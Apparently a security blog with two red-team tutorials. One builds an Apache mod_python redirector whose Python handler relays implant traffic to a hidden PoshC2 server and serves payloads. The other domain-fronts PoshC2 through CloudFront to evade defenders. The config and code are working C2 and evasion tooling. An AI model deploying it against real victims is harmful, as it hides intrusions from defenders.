InYour.Network

Apache mod_python C2 Proxy

Sun, 24 Feb 2019 00:00:00 +0000

Note: The inspiration for this post and the base of the config has been taken from this blog post - written by Tom Wilson

When conducting red teaming engagements C2 proxies or redirectors are an essential tool to hide the true location of your C2 server.

There are a range of options for redirecting/proxying traffic, this post will focus on using Apache with mod_python.

mod_python essentially allows for the python interpreter to be embedded into Apache and allows for the execution of python scripts.

Below is an overview of what typical C2 infrastrucure will look like:

For this demonstration the setup is as follows:

Compromised/Victim machine - Windows 10 VM
C2 Server - Ubuntu server with PoshC2_Python running
C2 Proxy - Ubuntu server with Apache and mod_python running

This post is focused on the C2 proxy.

Firstly we’ll need to build the C2 proxy. In this instance I’m going to use a Digital Ocean droplet. Once it’s up and running we need to make sure it’s up to date and has the relevant software installed and running: apt-get update && apt-get upgrade apt-get install apache2 libapache2-mod-python a2enmod python a2enmod proxy a2enmod proxy_http a2enmod rewrite

systemctl restart apache2.service

Once it’s up and running there will be three main files that need configuring: /etc/apache2/sites-available/000-default-le-ssl.conf, /etc/apache/ports.conf & the main python handler.

I’m also going to disable /etc/apache2/sites-available/000-default.conf as the config can all remain in one file. a2dissite 000-default.conf

systemctl restart apache2.service

The base of the Apache config file, should look something like the below:

ServerSignature Off
ServerTokens Prod
<IfModule mod_ssl.c>
<VirtualHost *:443>
    PythonPostReadRequestHandler /var/www/python/handler.py
    PythonDebug Off #You might want this on whilst you configure the server 

    SSLEngine on
    SSLProxyEngine On
    SSLProxyCheckPeerCN Off
    SSLProxyVerify none
    SSLProxyCheckPeerName off
    SSLProxyCheckPeerExpire off
    SSLCertificateFile      /etc/letsencrypt/live/[YOUR DOMAIN HERE]/fullchain.pem
    SSLCertificateKeyFile /etc/letsencrypt/live/[YOUR DOMAIN HERE]/privkey.pem
</VirtualHost>

<VirtualHost *:80>
    #All HTTP traffic to HTTPS
    RewriteEngine On
    RewriteCond %{HTTPS} !=on
    RewriteRule ^/?(.*) https://%{SERVER_NAME}/$1 [R,L]
</VirtualHost>

<VirtualHost 127.0.0.1:8000> #Used to serve a "legitimate" looking site
    DocumentRoot /var/www/html/legitimate
</VirtualHost>

<VirtualHost 127.0.0.1:9000> #Used to serve payloads etc
    DocumentRoot /var/www/html/files_to_serve
</VirtualHost>

Be sure to make sure /etc/apache/ports.conf looks matches the above. For example:

Listen *:80
Listen localhost:8000
Listen localhost:9000

<IfModule ssl_module>
	Listen 443
</IfModule>

<IfModule mod_gnutls.c>
	Listen 443
</IfModule>

The above will ensure Apache does the following:

Listens on port 80 on all interfaces, all traffic will then be forwarded to 443.
Listens on ports 8000 & 9000 on the loopback interface. These will be used to serve either a legitimate looking website or payloads.
Listens on port 443 on all interfaces, this will be where traffic hits the python handler and is redirected/proxied depending on what rules it matches.

The core of the modpython configuration is the main python handler, in this example this file is /var/www/python/handler.py

As noted above, the base of this file comes from this blog post.

The below example is configured to work as a C2 proxy for PoshC2_python and also has the following functionality:

All traffic hitting the proxy directly (I.e. not via a domain front) is displayed a simple HTML page but will never hit the C2 server
Allows you to configure a whitelist of IP addresses (set up for domain traffic via domain fronting)
Allows for files (payloads/supporting files etc) to be served to whitelisted IPs
Send notifications via Pushover if traffic hits the server but is not on the whitelist
Triggers a visual alert that you’ve got a new implant

In this case, the visual alert is a LIFX bulb flashing red.

Below is the python handler, please bear in mind this is more of a PoC than anything else. There are definitely more elegant solutions to do some of this and obviously don’t use this on a live engagement without testing etc.

import logging
import requests
from mod_python import apache

def postreadrequesthandler(request):
    request.handler = "proxy-server"
    request.proxyreq = apache.PROXYREQ_REVERSE
    useragent = request.headers_in.get("user-agent", None)
    ip = request.get_remote_host(apache.REMOTE_NOLOOKUP)
    useragent = request.headers_in.get("user-agent", None)

    Posh_Server="[REDACTED]"
    Posh_URIs=["[ADD POSH C2 URIS HERE]"]
    File_URIS=["/payload/file","test/xml"]
    Whitelist=["[ADD WHITELIST OF IPS HERE]"]

    if "X-Forwarded-For" in request.headers_in: #If traffic is coming via the domain front
	if request.headers_in["X-Forwarded-For"] in Whitelist: # and is on the whitelist
	    if request.unparsed_uri == "[POSH Staging URI]":
                request.connection.log_error("New posh implant from a whitelisted IP proxying to Posh Server", apache.APLOG_ERR)
                request.filename = ("proxy:https://%s/%s" %(Posh_Server,request.unparsed_uri))
                notify_message="New implant is live - IP:%s"%request.headers_in["X-Forwarded-For"]
		sendnotification(notify_message)
		lifx()#Flash the light
	    elif request.unparsed_uri.startswith(tuple(Posh_URIs)):
		request.connection.log_error("Request for %s from a whitelisted IP proxying to Posh Server (%s)"%(request.unparsed_uri,Posh_Server) , apache.APLOG_ERR)
		request.filename = ("proxy:https://%s/%s" %(Posh_Server,request.unparsed_uri))# If it's a Posh URI, proxy the traffic to the Posh server
	    elif request.unparsed_uri in File_URIS:#If it's a payload file, proxy to the virtual host on 9000
		request.filename = ("proxy:http://localhost:9000/%s" % request.unparsed_uri)
	else:
	    request.connection.log_error("Traffic is going via CloudFront but is not on the whitelist: %s - Sending notification"%request.headers_in["X-Forwarded-For"] , apache.APLOG_ERR) #This will match any traffic that is going via domain fronting but is not on the whitelist
	    notify_message="Traffic via CF but not on whitelist: %s - %s"%(request.headers_in["X-Forwarded-For"],useragent)
	    sendnotification(notify_message)#Send a notification via Pushover
	    request.connection.log_error("Notification sent" , apache.APLOG_ERR)

    else:
	request.connection.log_error("Request from %s direct to proxy - Can't be legit traffic, sending to website"%ip , apache.APLOG_ERR)
	request.filename = ("proxy:http://localhost:8000/%s" % request.unparsed_uri)#In this example all C2 traffic will be domain fronted and all links to files will be via the CDN, so anything hitting the proxy directly is just noise. So we proxy it to the virutal host on 8000, which can run a legit website or just a  redirect to elsewhere

    return apache.OK

def sendnotification(notify_message):
    url="https://api.pushover.net/1/messages.json"
    data={"token": "[REDACTED]","user": "[REDACTED]","message": notify_message}
    requests.post(url,data=data)

def lifx():
    token = "[REDACTED]"
    headers = { "Authorization": "Bearer %s" % token}
    payload = {
        "color": "red",
        "period" : "0.4",
        "cycles" : "10.0",
        "persist" : "false",
        "power_on" : "true"
    }
    response = requests.post('https://api.lifx.com/v1/lights/all/effects/pulse', data=payload, headers=headers)

Once this config is live, we get the following results:

Pushover notification sent if any none whitelisted IPs hit the proxy via the CDN
All traffic going direct to the proxy is forwarded to a “legit” looking site
PoshC2 comms working, Pushover notification and flashy light on all new implants

So overall mod_python seems to work well and makes it both quick and easy to add a lot of functionality to a C2 proxy. As it allows for standard python scripts to be run there is pretty much no bounds to what it could be used for.

Domain Fronting - PoshC2

Wed, 10 May 2017 00:00:00 +0100

Domain fronting is a technique often used to bypass censorship, but it turns out it’s also pretty handy for hiding C2 traffic.

Rather than explain what domain fronting is or how it works I’d recommend reading these two links:

Before getting into it, there are a few prerequisites that will need to be met for this to work:

You’ll need an Amazon account. This demo uses the CloudFront service, it will work fine with Google too but that isn’t covered in this post.
A Windows machine with a real world IP address
A domain name
A legitimate SSL certificate for the above mentioned domain name (Let’s Encrypt is fine)

Before using this technique for anything sensitive, be sure you fully understand how CloudFront works and the implications of using it to transmit sensitive data.

First things first, you’ll need to generate or acquire legitimate SSL certs for your domain. I’ll leave this as an exercise to the reader but you’ll need both the certificate and the private key on your Windows machine.

Once both the files are on your Windows machine you’ll need to convert them to a file Windows understands and install them.

To convert them you’ll need openSSL, precompiled Windows binaries can be found here.

Unzip the archive, drop the cert and private key in the same directory before running the below command:

openssl.exe pkcs12 -inkey privkey.pem -in cert.pem -export -out priv.pfx

Next up you need to install the cert, just double click the newly generated priv.pfx and Windows should launch a wizard. Make sure to import the cert to the Store Location of “Local Machine” rather than the current user. Other than that, the defaults are fine so just keep hitting next.

Now we need to ensure the cert is used:

#This will list the thumbprints of any certs you've got installed
#Copy the thumbprint of the cert you're going to be using
dir cert:\localmachine\my
#Delete any other certs which may be in use
netsh http delete sslcert ipport=0.0.0.0:443
#Install the new cert
netsh http add sslcert ipport=0.0.0.0:443 certhash=[Thumbprint here] 'appid={00112233-4455-6677-8899-AABBCCDDEEFF}'

The new cert should be installed and ready to go now.

The next thing that needs setting up is CloudFront.

Once logged in, begin the process of creating a new web distribution.

Set the Origin Domain Name as the domain you’ve got your C2 server set up with and follow the settings as below:

The main things to alter are the “Allowed HTTP Methods”, “Forward Headers”, “Forward Cookies” and “Query String Forwarding and Caching”

Once you’re done it will take ~ 15 minutes for the distribution to be fully deployed.

Be sure to grab the CloudFront domain name, this will need be used as the HTTP Host header for your implants.

Once it’s deployed you’re pretty much ready to roll. All you need to do now is set up PoshC2 and it’s time to start causing mayhem and hopefully avoiding the blue team whilst you’re at it.

Make sure you’ve got the latest version of PoshC2 installed and follow the below to get PoshC2 configured with your CloundFront domain name:

#Start the C2 server
[1] Enter the IP address or Hostname of the Posh C2 server (External address if using NAT) [REDACTED]: d0.awsstatic.com
[2] Do you want to use HTTPS? [Yes]: Yes
[2a] Do you want PoshC2 to create a new self-signed SSL certificate, PSv4 required? [Yes]: No
[2b] Do you want to use domain fronting, if so specify the host header?: REDACTED.cloudfront.net
[3] Enter a new folder name for this project [PoshC2-2017-10-05-1014]: DomFrontDemo
[4] Enter the default becaon time in seconds of the Posh C2 server (10% jitter is always applied) [5]:30
[5] Enter the auto Kill Date of the implants in this format dd/MMM/yyyy [24/May/2017]:
[6] Enter the HTTP port you want to use, 80/443 is highly preferable for proxying [443]:
[7] Do you want to enable sound? [Yes]: No

That’s it. You should be up and running.

After running a payload on a victim VM, I see the below traffic in Wireshark.

As you can see, traffic is going to and from https://d0.awsstatic.com and will be using a legitimate, CA signed SSL cert owned by Amazon.

This should blend in nicely with standard HTTPS traffic and should hopefully fly under the radar.